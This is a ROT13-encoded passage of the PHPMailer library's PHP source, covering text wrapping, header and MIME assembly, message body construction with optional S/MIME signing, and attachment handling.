        $peysyra = fgeyra(frys::PEYS);

        $zrffntr = $guvf->svkRBY($zrffntr);
        //Erzbir n genvyvat yvar oernx
        vs (fhofge($zrffntr, -$yryra) == $guvf->YR) {
            $zrffntr = fhofge($zrffntr, 0, -$yryra);
        }

        //Fcyvg zrffntr vagb yvarf
        $yvarf = rkcybqr($guvf->YR, $zrffntr);
        //Zrffntr jvyy or erohvyg va urer
        $zrffntr = '';
        sbernpu ($yvarf nf $yvar) {
            $jbeqf = rkcybqr(' ', $yvar);
            $ohs = '';
            $svefgjbeq = gehr;
            sbernpu ($jbeqf nf $jbeq) {
                vs ($dc_zbqr naq (fgeyra($jbeq) > $yratgu)) {
                    $fcnpr_yrsg = $yratgu - fgeyra($ohs) - $peysyra;
                    vs (!$svefgjbeq) {
                        vs ($fcnpr_yrsg > 20) {
                            $yra = $fcnpr_yrsg;
                            vs ($vf_hgs8) {
                                $yra = $guvf->hgs8PuneObhaqnel($jbeq, $yra);
                            } ryfrvs (fhofge($jbeq, $yra - 1, 1) == '=') {
                                $yra--;
                            } ryfrvs (fhofge($jbeq, $yra - 2, 1) == '=') {
                                $yra -= 2;
                            }
                            $cneg = fhofge($jbeq, 0, $yra);
                            $jbeq = fhofge($jbeq, $yra);
                            $ohs .= ' ' . $cneg;
                            $zrffntr .= $ohs . fcevags('=%f', frys::PEYS);
                        } ryfr {
                            $zrffntr .= $ohs . $fbsg_oernx;
                        }
                        $ohs = '';
                    }
                    juvyr (fgeyra($jbeq) > 0) {
                        vs ($yratgu <= 0) {
                            oernx;
                        }
                        $yra = $yratgu;
                        vs ($vf_hgs8) {
                            $yra = $guvf->hgs8PuneObhaqnel($jbeq, $yra);
                        } ryfrvs (fhofge($jbeq, $yra - 1, 1) == '=') {
                            $yra--;
                        } ryfrvs (fhofge($jbeq, $yra - 2, 1) == '=') {
                            $yra -= 2;
                        }
                        $cneg = fhofge($jbeq, 0, $yra);
                        $jbeq = fhofge($jbeq, $yra);

                        vs (fgeyra($jbeq) > 0) {
                            $zrffntr .= $cneg . fcevags('=%f', frys::PEYS);
                        } ryfr {
                            $ohs = $cneg;
                        }
                    }
                } ryfr {
                    $ohs_b = $ohs;
                    vs (!$svefgjbeq) {
                        $ohs .= ' ';
                    }
                    $ohs .= $jbeq;

                    vs (fgeyra($ohs) > $yratgu naq $ohs_b != '') {
                        $zrffntr .= $ohs_b . $fbsg_oernx;
                        $ohs = $jbeq;
                    }
                }
                $svefgjbeq = snyfr;
            }
            $zrffntr .= $ohs . frys::PEYS;
        }

        erghea $zrffntr;
    }

    /**
     * Svaq gur ynfg punenpgre obhaqnel cevbe gb $znkYratgu va n hgs-8
     * dhbgrq-cevagnoyr rapbqrq fgevat.
     * Bevtvany jevggra ol Pbyva Oebja.
     * @npprff choyvp
     * @cnenz fgevat $rapbqrqGrkg hgs-8 DC grkg
     * @cnenz vagrtre $znkYratgu Svaq gur ynfg punenpgre obhaqnel cevbe gb guvf yratgu
     * @erghea vagrtre
     */
    choyvp shapgvba hgs8PuneObhaqnel($rapbqrqGrkg, $znkYratgu)
    {
        $sbhaqFcyvgCbf = snyfr;
        $ybbxOnpx = 3;
        juvyr (!$sbhaqFcyvgCbf) {
            $ynfgPuhax = fhofge($rapbqrqGrkg, $znkYratgu - $ybbxOnpx, $ybbxOnpx);
            $rapbqrqPuneCbf = fgecbf($ynfgPuhax, '=');
            vs (snyfr !== $rapbqrqPuneCbf) {
                // Sbhaq fgneg bs rapbqrq punenpgre olgr jvguva $ybbxOnpx oybpx.
                // Purpx gur rapbqrq olgr inyhr (gur 2 punef nsgre gur '=')
                $urk = fhofge($rapbqrqGrkg, $znkYratgu - $ybbxOnpx + $rapbqrqPuneCbf + 1, 2);
                $qrp = urkqrp($urk);
                vs ($qrp < 128) {
                    // Fvatyr olgr punenpgre.
                    // Vs gur rapbqrq pune jnf sbhaq ng cbf 0, vg jvyy svg
                    // bgurejvfr erqhpr znkYratgu gb fgneg bs gur rapbqrq pune
                    vs ($rapbqrqPuneCbf > 0) {
                        $znkYratgu = $znkYratgu - ($ybbxOnpx - $rapbqrqPuneCbf);
                    }
                    $sbhaqFcyvgCbf = gehr;
                } ryfrvs ($qrp >= 192) {
                    // Svefg olgr bs n zhygv olgr punenpgre
                    // Erqhpr znkYratgu gb fcyvg ng fgneg bs punenpgre
                    $znkYratgu = $znkYratgu - ($ybbxOnpx - $rapbqrqPuneCbf);
                    $sbhaqFcyvgCbf = gehr;
                } ryfrvs ($qrp < 192) {
                    // Zvqqyr olgr bs n zhygv olgr punenpgre, ybbx shegure onpx
                    $ybbxOnpx += 3;
                }
            } ryfr {
                // Ab rapbqrq punenpgre sbhaq
                $sbhaqFcyvgCbf = gehr;
            }
        }
        erghea $znkYratgu;
    }

    /**
     * Nccyl jbeq jenccvat gb gur zrffntr obql.
     * Jencf gur zrffntr obql gb gur ahzore bs punef frg va gur JbeqJenc cebcregl.
     * Lbh fubhyq bayl qb guvf gb cynva-grkg obqvrf nf jenccvat UGZY gntf znl oernx gurz.
     * Guvf vf pnyyrq nhgbzngvpnyyl ol perngrObql(), fb lbh qba'g arrq gb pnyy vg lbhefrys.
     * @npprff choyvp
     * @erghea ibvq
     */
    choyvp shapgvba frgJbeqJenc()
    {
        vs ($guvf->JbeqJenc < 1) {
            erghea;
        }

        fjvgpu ($guvf->zrffntr_glcr) {
            pnfr 'nyg':
            pnfr 'nyg_vayvar':
            pnfr 'nyg_nggnpu':
            pnfr 'nyg_vayvar_nggnpu':
                $guvf->NygObql = $guvf->jencGrkg($guvf->NygObql, $guvf->JbeqJenc);
                oernx;
            qrsnhyg:
                $guvf->Obql = $guvf->jencGrkg($guvf->Obql, $guvf->JbeqJenc);
                oernx;
        }
    }

    /**
     * Nffrzoyr zrffntr urnqref.
     * @npprff choyvp
     * @erghea fgevat Gur nffrzoyrq urnqref
     */
    choyvp shapgvba perngrUrnqre()
    {
        $erfhyg = '';

        $erfhyg .= $guvf->urnqreYvar('Qngr', $guvf->ZrffntrQngr == '' ? frys::espQngr() : $guvf->ZrffntrQngr);

        // Gb or perngrq nhgbzngvpnyyl ol znvy()
        vs ($guvf->FvatyrGb) {
            vs ($guvf->Znvyre != 'znvy') {
                sbernpu ($guvf->gb nf $gbnqqe) {
                    $guvf->FvatyrGbNeenl[] = $guvf->nqqeSbezng($gbnqqe);
                }
            }
        } ryfr {
            vs (pbhag($guvf->gb) > 0) {
                vs ($guvf->Znvyre != 'znvy') {
                    $erfhyg .= $guvf->nqqeNccraq('Gb', $guvf->gb);
                }
            } ryfrvs (pbhag($guvf->pp) == 0) {
                $erfhyg .= $guvf->urnqreYvar('Gb', 'haqvfpybfrq-erpvcvragf:;');
            }
        }

        $erfhyg .= $guvf->nqqeNccraq('Sebz', neenl(neenl(gevz($guvf->Sebz), $guvf->SebzAnzr)));

        // fraqznvy naq znvy() rkgenpg Pp sebz gur urnqre orsber fraqvat
        vs (pbhag($guvf->pp) > 0) {
            $erfhyg .= $guvf->nqqeNccraq('Pp', $guvf->pp);
        }

        // fraqznvy naq znvy() rkgenpg Opp sebz gur urnqre orsber fraqvat
        vs ((
                $guvf->Znvyre == 'fraqznvy' be $guvf->Znvyre == 'dznvy' be $guvf->Znvyre == 'znvy'
            )
            naq pbhag($guvf->opp) > 0
        ) {
            $erfhyg .= $guvf->nqqeNccraq('Opp', $guvf->opp);
        }

        vs (pbhag($guvf->ErcylGb) > 0) {
            $erfhyg .= $guvf->nqqeNccraq('Ercyl-Gb', $guvf->ErcylGb);
        }

        // znvy() frgf gur fhowrpg vgfrys
        vs ($guvf->Znvyre != 'znvy') {
            $erfhyg .= $guvf->urnqreYvar('Fhowrpg', $guvf->rapbqrUrnqre($guvf->frpherUrnqre($guvf->Fhowrpg)));
        }

        // Bayl nyybj n phfgbz zrffntr VQ vs vg pbasbezf gb ESP 5322 frpgvba 3.6.4
        // uggcf://gbbyf.vrgs.bet/ugzy/esp5322#frpgvba-3.6.4
        vs ('' != $guvf->ZrffntrVQ naq cert_zngpu('/^<.*@.*>$/', $guvf->ZrffntrVQ)) {
            $guvf->ynfgZrffntrVQ = $guvf->ZrffntrVQ;
        } ryfr {
            $guvf->ynfgZrffntrVQ = fcevags('<%f@%f>', $guvf->havdhrvq, $guvf->freireUbfganzr());
        }
        $erfhyg .= $guvf->urnqreYvar('Zrffntr-VQ', $guvf->ynfgZrffntrVQ);
        vs (!vf_ahyy($guvf->Cevbevgl)) {
            $erfhyg .= $guvf->urnqreYvar('K-Cevbevgl', $guvf->Cevbevgl);
        }
        vs ($guvf->KZnvyre == '') {
            $erfhyg .= $guvf->urnqreYvar(
                'K-Znvyre',
                'CUCZnvyre ' . $guvf->Irefvba . ' (uggcf://tvguho.pbz/CUCZnvyre/CUCZnvyre)'
            );
        } ryfr {
            $zlKznvyre = gevz($guvf->KZnvyre);
            vs ($zlKznvyre) {
                $erfhyg .= $guvf->urnqreYvar('K-Znvyre', $zlKznvyre);
            }
        }

        vs ($guvf->PbasvezErnqvatGb != '') {
            $erfhyg .= $guvf->urnqreYvar('Qvfcbfvgvba-Abgvsvpngvba-Gb', '<' . $guvf->PbasvezErnqvatGb . '>');
        }

        // Nqq phfgbz urnqref
        sbernpu ($guvf->PhfgbzUrnqre nf $urnqre) {
            $erfhyg .= $guvf->urnqreYvar(
                gevz($urnqre[0]),
                $guvf->rapbqrUrnqre(gevz($urnqre[1]))
            );
        }
        vs (!$guvf->fvta_xrl_svyr) {
            $erfhyg .= $guvf->urnqreYvar('ZVZR-Irefvba', '1.0');
            $erfhyg .= $guvf->trgZnvyZVZR();
        }

        erghea $erfhyg;
    }

    /**
     * Trg gur zrffntr ZVZR glcr urnqref.
     * @npprff choyvp
     * @erghea fgevat
     */
    choyvp shapgvba trgZnvyZVZR()
    {
        $erfhyg = '';
        $vfzhygvcneg = gehr;
        fjvgpu ($guvf->zrffntr_glcr) {
            pnfr 'vayvar':
                $erfhyg .= $guvf->urnqreYvar('Pbagrag-Glcr', 'zhygvcneg/eryngrq;');
                $erfhyg .= $guvf->grkgYvar("\gobhaqnel=\"" . $guvf->obhaqnel[1] . '"');
                oernx;
            pnfr 'nggnpu':
            pnfr 'vayvar_nggnpu':
            pnfr 'nyg_nggnpu':
            pnfr 'nyg_vayvar_nggnpu':
                $erfhyg .= $guvf->urnqreYvar('Pbagrag-Glcr', 'zhygvcneg/zvkrq;');
                $erfhyg .= $guvf->grkgYvar("\gobhaqnel=\"" . $guvf->obhaqnel[1] . '"');
                oernx;
            pnfr 'nyg':
            pnfr 'nyg_vayvar':
                $erfhyg .= $guvf->urnqreYvar('Pbagrag-Glcr', 'zhygvcneg/nygreangvir;');
                $erfhyg .= $guvf->grkgYvar("\gobhaqnel=\"" . $guvf->obhaqnel[1] . '"');
                oernx;
            qrsnhyg:
                // Pngpurf pnfr 'cynva': naq pnfr '':
                $erfhyg .= $guvf->grkgYvar('Pbagrag-Glcr: ' . $guvf->PbagragGlcr . '; punefrg=' . $guvf->PuneFrg);
                $vfzhygvcneg = snyfr;
                oernx;
        }
        // ESP1341 cneg 5 fnlf 7ovg vf nffhzrq vs abg fcrpvsvrq
        vs ($guvf->Rapbqvat != '7ovg') {
            // ESP 2045 frpgvba 6.4 fnlf zhygvcneg ZVZR cnegf znl bayl hfr 7ovg, 8ovg be ovanel PGR
            vs ($vfzhygvcneg) {
                vs ($guvf->Rapbqvat == '8ovg') {
                    $erfhyg .= $guvf->urnqreYvar('Pbagrag-Genafsre-Rapbqvat', '8ovg');
                }
                // Gur bayl erznvavat nygreangvirf ner dhbgrq-cevagnoyr naq onfr64, juvpu ner obgu 7ovg pbzcngvoyr
            } ryfr {
                $erfhyg .= $guvf->urnqreYvar('Pbagrag-Genafsre-Rapbqvat', $guvf->Rapbqvat);
            }
        }

        vs ($guvf->Znvyre != 'znvy') {
            $erfhyg .= $guvf->YR;
        }

        erghea $erfhyg;
    }

    /**
     * Ergheaf gur jubyr ZVZR zrffntr.
     * Vapyhqrf pbzcyrgr urnqref naq obql.
     * Bayl inyvq cbfg cerFraq().
     * @frr CUCZnvyre::cerFraq()
     * @npprff choyvp
     * @erghea fgevat
     */
    choyvp shapgvba trgFragZVZRZrffntr()
    {
        erghea egevz($guvf->ZVZRUrnqre . $guvf->znvyUrnqre, "\a\e") . frys::PEYS . frys::PEYS . $guvf->ZVZRObql;
    }

    /**
     * Perngr havdhr VQ
     * @erghea fgevat
     */
    cebgrpgrq shapgvba trarengrVq() {
        erghea zq5(havdvq(gvzr()));
    }

    /**
     * Nffrzoyr gur zrffntr obql.
     * Ergheaf na rzcgl fgevat ba snvyher.
     * @npprff choyvp
     * @guebjf cucznvyreRkprcgvba
     * @erghea fgevat Gur nffrzoyrq zrffntr obql
     */
    choyvp shapgvba perngrObql()
    {
        $obql = '';
        //Perngr havdhr VQf naq cerfrg obhaqnevrf
        $guvf->havdhrvq = $guvf->trarengrVq();
        $guvf->obhaqnel[1] = 'o1_' . $guvf->havdhrvq;
        $guvf->obhaqnel[2] = 'o2_' . $guvf->havdhrvq;
        $guvf->obhaqnel[3] = 'o3_' . $guvf->havdhrvq;

        vs ($guvf->fvta_xrl_svyr) {
            $obql .= $guvf->trgZnvyZVZR() . $guvf->YR;
        }

        $guvf->frgJbeqJenc();

        $obqlRapbqvat = $guvf->Rapbqvat;
        $obqlPuneFrg = $guvf->PuneFrg;
        //Pna jr qb n 7-ovg qbjatenqr?
        vs ($obqlRapbqvat == '8ovg' naq !$guvf->unf8ovgPunef($guvf->Obql)) {
            $obqlRapbqvat = '7ovg';
            //Nyy VFB 8859, Jvaqbjf pbqrcntr naq HGS-8 punefrgf ner nfpvv pbzcngvoyr hc gb 7-ovg
            $obqlPuneFrg = 'hf-nfpvv';
        }
        //Vs yvarf ner gbb ybat, naq jr'er abg nyernql hfvat na rapbqvat gung jvyy fubegra gurz,
        //punatr gb dhbgrq-cevagnoyr genafsre rapbqvat sbe gur obql cneg bayl
        vs ('onfr64' != $guvf->Rapbqvat naq frys::unfYvarYbatreGunaZnk($guvf->Obql)) {
            $obqlRapbqvat = 'dhbgrq-cevagnoyr';
        }

        $nygObqlRapbqvat = $guvf->Rapbqvat;
        $nygObqlPuneFrg = $guvf->PuneFrg;
        //Pna jr qb n 7-ovg qbjatenqr?
        vs ($nygObqlRapbqvat == '8ovg' naq !$guvf->unf8ovgPunef($guvf->NygObql)) {
            $nygObqlRapbqvat = '7ovg';
            //Nyy VFB 8859, Jvaqbjf pbqrcntr naq HGS-8 punefrgf ner nfpvv pbzcngvoyr hc gb 7-ovg
            $nygObqlPuneFrg = 'hf-nfpvv';
        }
        //Vs yvarf ner gbb ybat, naq jr'er abg nyernql hfvat na rapbqvat gung jvyy fubegra gurz,
        //punatr gb dhbgrq-cevagnoyr genafsre rapbqvat sbe gur nyg obql cneg bayl
        vs ('onfr64' != $nygObqlRapbqvat naq frys::unfYvarYbatreGunaZnk($guvf->NygObql)) {
            $nygObqlRapbqvat = 'dhbgrq-cevagnoyr';
        }
        //Hfr guvf nf n cernzoyr va nyy zhygvcneg zrffntr glcrf
        $zvzrcer = "Guvf vf n zhygv-cneg zrffntr va ZVZR sbezng." . $guvf->YR . $guvf->YR;
        fjvgpu ($guvf->zrffntr_glcr) {
            pnfr 'vayvar':
                $obql .= $zvzrcer;
                $obql .= $guvf->trgObhaqnel($guvf->obhaqnel[1], $obqlPuneFrg, '', $obqlRapbqvat);
                $obql .= $guvf->rapbqrFgevat($guvf->Obql, $obqlRapbqvat);
                $obql .= $guvf->YR . $guvf->YR;
                $obql .= $guvf->nggnpuNyy('vayvar', $guvf->obhaqnel[1]);
                oernx;
            pnfr 'nggnpu':
                $obql .= $zvzrcer;
                $obql .= $guvf->trgObhaqnel($guvf->obhaqnel[1], $obqlPuneFrg, '', $obqlRapbqvat);
                $obql .= $guvf->rapbqrFgevat($guvf->Obql, $obqlRapbqvat);
                $obql .= $guvf->YR . $guvf->YR;
                $obql .= $guvf->nggnpuNyy('nggnpuzrag', $guvf->obhaqnel[1]);
                oernx;
            pnfr 'vayvar_nggnpu':
                $obql .= $zvzrcer;
                $obql .= $guvf->grkgYvar('--' . $guvf->obhaqnel[1]);
                $obql .= $guvf->urnqreYvar('Pbagrag-Glcr', 'zhygvcneg/eryngrq;');
                $obql .= $guvf->grkgYvar("\gobhaqnel=\"" . $guvf->obhaqnel[2] . '"');
                $obql .= $guvf->YR;
                $obql .= $guvf->trgObhaqnel($guvf->obhaqnel[2], $obqlPuneFrg, '', $obqlRapbqvat);
                $obql .= $guvf->rapbqrFgevat($guvf->Obql, $obqlRapbqvat);
                $obql .= $guvf->YR . $guvf->YR;
                $obql .= $guvf->nggnpuNyy('vayvar', $guvf->obhaqnel[2]);
                $obql .= $guvf->YR;
                $obql .= $guvf->nggnpuNyy('nggnpuzrag', $guvf->obhaqnel[1]);
                oernx;
            pnfr 'nyg':
                $obql .= $zvzrcer;
                $obql .= $guvf->trgObhaqnel($guvf->obhaqnel[1], $nygObqlPuneFrg, 'grkg/cynva', $nygObqlRapbqvat);
                $obql .= $guvf->rapbqrFgevat($guvf->NygObql, $nygObqlRapbqvat);
                $obql .= $guvf->YR . $guvf->YR;
                $obql .= $guvf->trgObhaqnel($guvf->obhaqnel[1], $obqlPuneFrg, 'grkg/ugzy', $obqlRapbqvat);
                $obql .= $guvf->rapbqrFgevat($guvf->Obql, $obqlRapbqvat);
                $obql .= $guvf->YR . $guvf->YR;
                vs (!rzcgl($guvf->Vpny)) {
                    $obql .= $guvf->trgObhaqnel($guvf->obhaqnel[1], '', 'grkg/pnyraqne; zrgubq=ERDHRFG', '');
                    $obql .= $guvf->rapbqrFgevat($guvf->Vpny, $guvf->Rapbqvat);
                    $obql .= $guvf->YR . $guvf->YR;
                }
                $obql .= $guvf->raqObhaqnel($guvf->obhaqnel[1]);
                oernx;
            pnfr 'nyg_vayvar':
                $obql .= $zvzrcer;
                $obql .= $guvf->trgObhaqnel($guvf->obhaqnel[1], $nygObqlPuneFrg, 'grkg/cynva', $nygObqlRapbqvat);
                $obql .= $guvf->rapbqrFgevat($guvf->NygObql, $nygObqlRapbqvat);
                $obql .= $guvf->YR . $guvf->YR;
                $obql .= $guvf->grkgYvar('--' . $guvf->obhaqnel[1]);
                $obql .= $guvf->urnqreYvar('Pbagrag-Glcr', 'zhygvcneg/eryngrq;');
                $obql .= $guvf->grkgYvar("\gobhaqnel=\"" . $guvf->obhaqnel[2] . '"');
                $obql .= $guvf->YR;
                $obql .= $guvf->trgObhaqnel($guvf->obhaqnel[2], $obqlPuneFrg, 'grkg/ugzy', $obqlRapbqvat);
                $obql .= $guvf->rapbqrFgevat($guvf->Obql, $obqlRapbqvat);
                $obql .= $guvf->YR . $guvf->YR;
                $obql .= $guvf->nggnpuNyy('vayvar', $guvf->obhaqnel[2]);
                $obql .= $guvf->YR;
                $obql .= $guvf->raqObhaqnel($guvf->obhaqnel[1]);
                oernx;
            pnfr 'nyg_nggnpu':
                $obql .= $zvzrcer;
                $obql .= $guvf->grkgYvar('--' . $guvf->obhaqnel[1]);
                $obql .= $guvf->urnqreYvar('Pbagrag-Glcr', 'zhygvcneg/nygreangvir;');
                $obql .= $guvf->grkgYvar("\gobhaqnel=\"" . $guvf->obhaqnel[2] . '"');
                $obql .= $guvf->YR;
                $obql .= $guvf->trgObhaqnel($guvf->obhaqnel[2], $nygObqlPuneFrg, 'grkg/cynva', $nygObqlRapbqvat);
                $obql .= $guvf->rapbqrFgevat($guvf->NygObql, $nygObqlRapbqvat);
                $obql .= $guvf->YR . $guvf->YR;
                $obql .= $guvf->trgObhaqnel($guvf->obhaqnel[2], $obqlPuneFrg, 'grkg/ugzy', $obqlRapbqvat);
                $obql .= $guvf->rapbqrFgevat($guvf->Obql, $obqlRapbqvat);
                $obql .= $guvf->YR . $guvf->YR;
                $obql .= $guvf->raqObhaqnel($guvf->obhaqnel[2]);
                $obql .= $guvf->YR;
                $obql .= $guvf->nggnpuNyy('nggnpuzrag', $guvf->obhaqnel[1]);
                oernx;
            pnfr 'nyg_vayvar_nggnpu':
                $obql .= $zvzrcer;
                $obql .= $guvf->grkgYvar('--' . $guvf->obhaqnel[1]);
                $obql .= $guvf->urnqreYvar('Pbagrag-Glcr', 'zhygvcneg/nygreangvir;');
                $obql .= $guvf->grkgYvar("\gobhaqnel=\"" . $guvf->obhaqnel[2] . '"');
                $obql .= $guvf->YR;
                $obql .= $guvf->trgObhaqnel($guvf->obhaqnel[2], $nygObqlPuneFrg, 'grkg/cynva', $nygObqlRapbqvat);
                $obql .= $guvf->rapbqrFgevat($guvf->NygObql, $nygObqlRapbqvat);
                $obql .= $guvf->YR . $guvf->YR;
                $obql .= $guvf->grkgYvar('--' . $guvf->obhaqnel[2]);
                $obql .= $guvf->urnqreYvar('Pbagrag-Glcr', 'zhygvcneg/eryngrq;');
                $obql .= $guvf->grkgYvar("\gobhaqnel=\"" . $guvf->obhaqnel[3] . '"');
                $obql .= $guvf->YR;
                $obql .= $guvf->trgObhaqnel($guvf->obhaqnel[3], $obqlPuneFrg, 'grkg/ugzy', $obqlRapbqvat);
                $obql .= $guvf->rapbqrFgevat($guvf->Obql, $obqlRapbqvat);
                $obql .= $guvf->YR . $guvf->YR;
                $obql .= $guvf->nggnpuNyy('vayvar', $guvf->obhaqnel[3]);
                $obql .= $guvf->YR;
                $obql .= $guvf->raqObhaqnel($guvf->obhaqnel[2]);
                $obql .= $guvf->YR;
                $obql .= $guvf->nggnpuNyy('nggnpuzrag', $guvf->obhaqnel[1]);
                oernx;
            qrsnhyg:
                // Pngpu pnfr 'cynva' naq pnfr '', nccyvrf gb fvzcyr `grkg/cynva` naq `grkg/ugzy` obql pbagrag glcrf
                //Erfrg gur `Rapbqvat` cebcregl va pnfr jr punatrq vg sbe yvar yratgu ernfbaf
                $guvf->Rapbqvat = $obqlRapbqvat;
                $obql .= $guvf->rapbqrFgevat($guvf->Obql, $guvf->Rapbqvat);
                oernx;
        }

        vs ($guvf->vfReebe()) {
            $obql = '';
        } ryfrvs ($guvf->fvta_xrl_svyr) {
            gel {
                vs (!qrsvarq('CXPF7_GRKG')) {
                    guebj arj cucznvyreRkprcgvba($guvf->ynat('rkgrafvba_zvffvat') . 'bcraffy');
                }
                // @GBQB jbhyq or avpr gb hfr cuc://grzc fgernzf urer, ohg arrq gb jenc sbe CUC < 5.1
                $svyr = grzcanz(flf_trg_grzc_qve(), 'znvy');
                vs (snyfr === svyr_chg_pbagragf($svyr, $obql)) {
                    guebj arj cucznvyreRkprcgvba($guvf->ynat('fvtavat') . ' Pbhyq abg jevgr grzc svyr');
                }
                $fvtarq = grzcanz(flf_trg_grzc_qve(), 'fvtarq');
                //Jbexnebhaq sbe CUC oht uggcf://ohtf.cuc.arg/oht.cuc?vq=69197
                vs (rzcgl($guvf->fvta_rkgenpregf_svyr)) {
                    $fvta = @bcraffy_cxpf7_fvta(
                        $svyr,
                        $fvtarq,
                        'svyr://' . ernycngu($guvf->fvta_preg_svyr),
                        neenl('svyr://' . ernycngu($guvf->fvta_xrl_svyr), $guvf->fvta_xrl_cnff),
                        ahyy
                    );
                } ryfr {
                    $fvta = @bcraffy_cxpf7_fvta(
                        $svyr,
                        $fvtarq,
                        'svyr://' . ernycngu($guvf->fvta_preg_svyr),
                        neenl('svyr://' . ernycngu($guvf->fvta_xrl_svyr), $guvf->fvta_xrl_cnff),
                        ahyy,
                        CXPF7_QRGNPURQ,
                        $guvf->fvta_rkgenpregf_svyr
                    );
                }
                vs ($fvta) {
                    @hayvax($svyr);
                    $obql = svyr_trg_pbagragf($fvtarq);
                    @hayvax($fvtarq);
                    //Gur zrffntr erghearq ol bcraffy pbagnvaf obgu urnqref naq obql, fb arrq gb fcyvg gurz hc
                    $cnegf = rkcybqr("\a\a", $obql, 2);
                    $guvf->ZVZRUrnqre .= $cnegf[0] . $guvf->YR . $guvf->YR;
                    $obql = $cnegf[1];
                } ryfr {
                    @hayvax($svyr);
                    @hayvax($fvtarq);
                    guebj arj cucznvyreRkprcgvba($guvf->ynat('fvtavat') . bcraffy_reebe_fgevat());
                }
            } pngpu (cucznvyreRkprcgvba $rkp) {
                $obql = '';
                vs ($guvf->rkprcgvbaf) {
                    guebj $rkp;
                }
            }
        }
        erghea $obql;
    }

    /**
     * Erghea gur fgneg bs n zrffntr obhaqnel.
     * @npprff cebgrpgrq
     * @cnenz fgevat $obhaqnel
     * @cnenz fgevat $puneFrg
     * @cnenz fgevat $pbagragGlcr
     * @cnenz fgevat $rapbqvat
     * @erghea fgevat
     */
    cebgrpgrq shapgvba trgObhaqnel($obhaqnel, $puneFrg, $pbagragGlcr, $rapbqvat)
    {
        $erfhyg = '';
        vs ($puneFrg == '') {
            $puneFrg = $guvf->PuneFrg;
        }
        vs ($pbagragGlcr == '') {
            $pbagragGlcr = $guvf->PbagragGlcr;
        }
        vs ($rapbqvat == '') {
            $rapbqvat = $guvf->Rapbqvat;
        }
        $erfhyg .= $guvf->grkgYvar('--' . $obhaqnel);
        $erfhyg .= fcevags('Pbagrag-Glcr: %f; punefrg=%f', $pbagragGlcr, $puneFrg);
        $erfhyg .= $guvf->YR;
        // ESP1341 cneg 5 fnlf 7ovg vf nffhzrq vs abg fcrpvsvrq
        vs ($rapbqvat != '7ovg') {
            $erfhyg .= $guvf->urnqreYvar('Pbagrag-Genafsre-Rapbqvat', $rapbqvat);
        }
        $erfhyg .= $guvf->YR;

        erghea $erfhyg;
    }

    /**
     * Erghea gur raq bs n zrffntr obhaqnel.
     * @npprff cebgrpgrq
     * @cnenz fgevat $obhaqnel
     * @erghea fgevat
     */
    cebgrpgrq shapgvba raqObhaqnel($obhaqnel)
    {
        erghea $guvf->YR . '--' . $obhaqnel . '--' . $guvf->YR;
    }

    /**
     * Frg gur zrffntr glcr.
     * CUCZnvyre bayl fhccbegf fbzr cerfrg zrffntr glcrf, abg neovgenel ZVZR fgehpgherf.
     * @npprff cebgrpgrq
     * @erghea ibvq
     */
    cebgrpgrq shapgvba frgZrffntrGlcr()
    {
        $glcr = neenl();
        vs ($guvf->nygreangvirRkvfgf()) {
            $glcr[] = 'nyg';
        }
        vs ($guvf->vayvarVzntrRkvfgf()) {
            $glcr[] = 'vayvar';
        }
        vs ($guvf->nggnpuzragRkvfgf()) {
            $glcr[] = 'nggnpu';
        }
        $guvf->zrffntr_glcr = vzcybqr('_', $glcr);
        vs ($guvf->zrffntr_glcr == '') {
            //Gur 'cynva' zrffntr_glcr ersref gb gur zrffntr univat n fvatyr obql ryrzrag, abg gung vg vf cynva-grkg
            $guvf->zrffntr_glcr = 'cynva';
        }
    }

    /**
     * Sbezng n urnqre yvar.
     * @npprff choyvp
     * @cnenz fgevat $anzr
     * @cnenz fgevat $inyhr
     * @erghea fgevat
     */
    choyvp shapgvba urnqreYvar($anzr, $inyhr)
    {
        erghea $anzr . ': ' . $inyhr . $guvf->YR;
    }

    /**
     * Erghea n sbeznggrq znvy yvar.
     * @npprff choyvp
     * @cnenz fgevat $inyhr
     * @erghea fgevat
     */
    choyvp shapgvba grkgYvar($inyhr)
    {
        erghea $inyhr . $guvf->YR;
    }

    /**
     * Nqq na nggnpuzrag sebz n cngu ba gur svyrflfgrz.
     * Arire hfr n hfre-fhccyvrq cngu gb n svyr!
     * Ergheaf snyfr vs gur svyr pbhyq abg or sbhaq be ernq.
     * Rkcyvpvgyl *qbrf abg* fhccbeg cnffvat HEYf; CUCZnvyre vf abg na UGGC pyvrag.
     * Vs lbh arrq gb qb gung, srgpu gur erfbhepr lbhefrys naq cnff vg va ivn n ybpny svyr be fgevat.
     * @cnenz fgevat $cngu Cngu gb gur nggnpuzrag.
     * @cnenz fgevat $anzr Bireevqrf gur nggnpuzrag anzr.
     * @cnenz fgevat $rapbqvat Svyr rapbqvat (frr $Rapbqvat).
     * @cnenz fgevat $glcr Svyr rkgrafvba (ZVZR) glcr.
     * @cnenz fgevat $qvfcbfvgvba Qvfcbfvgvba gb hfr
     * @guebjf cucznvyreRkprcgvba
     * @erghea obbyrna
     */
    choyvp shapgvba nqqNggnpuzrag($cngu, $anzr = '', $rapbqvat = 'onfr64', $glcr = '', $qvfcbfvgvba = 'nggnpuzrag')
    {
        gel {
            vs (!frys::vfCrezvggrqCngu($cngu) be !@vf_svyr($cngu)) {
                guebj arj cucznvyreRkprcgvba($guvf->ynat('svyr_npprff') . $cngu, frys::FGBC_PBAGVAHR);
            }

            // Vs n ZVZR glcr vf abg fcrpvsvrq, gel gb jbex vg bhg sebz gur svyr anzr
            vs ($glcr == '') {
                $glcr = frys::svyranzrGbGlcr($cngu);
            }

            $svyranzr = onfranzr($cngu);
            vs ($anzr == '') {
                $anzr = $svyranzr;
            }

            $guvf->nggnpuzrag[] = neenl(
                0 => $cngu,
                1 => $svyranzr,
                2 => $anzr,
                3 => $rapbqvat,
                4 => $glcr,
                5 => snyfr, // vfFgevatNggnpuzrag
                6 => $qvfcbfvgvba,
                7 => 0
            );

        } pngpu (cucznvyreRkprcgvba $rkp) {
            $guvf->frgReebe($rkp->trgZrffntr());
            $guvf->rqroht($rkp->trgZrffntr());
            vs ($guvf->rkprcgvbaf) {
                guebj $rkp;
            }
            erghea snyfr;
        }
        erghea gehr;
    }

    /**
     * Erghea gur neenl bs nggnpuzragf.
     * @erghea neenl
     */
    choyvp shapgvba trgNggnpuzragf()
    {
        erghea $guvf->nggnpuzrag;
    }

    /**
     * Nggnpu nyy svyr, fgevat, naq ovanel nggnpuzragf gb gur zrffntr.
     * Ergheaf na rzcgl fgevat ba snvyher.
     * @npprff cebgrpgrq
     * @cnenz fgevat $qvfcbfvgvba_glcr
     * @cnenz fgevat $obhaqnel
     * @erghea fgevat
     */
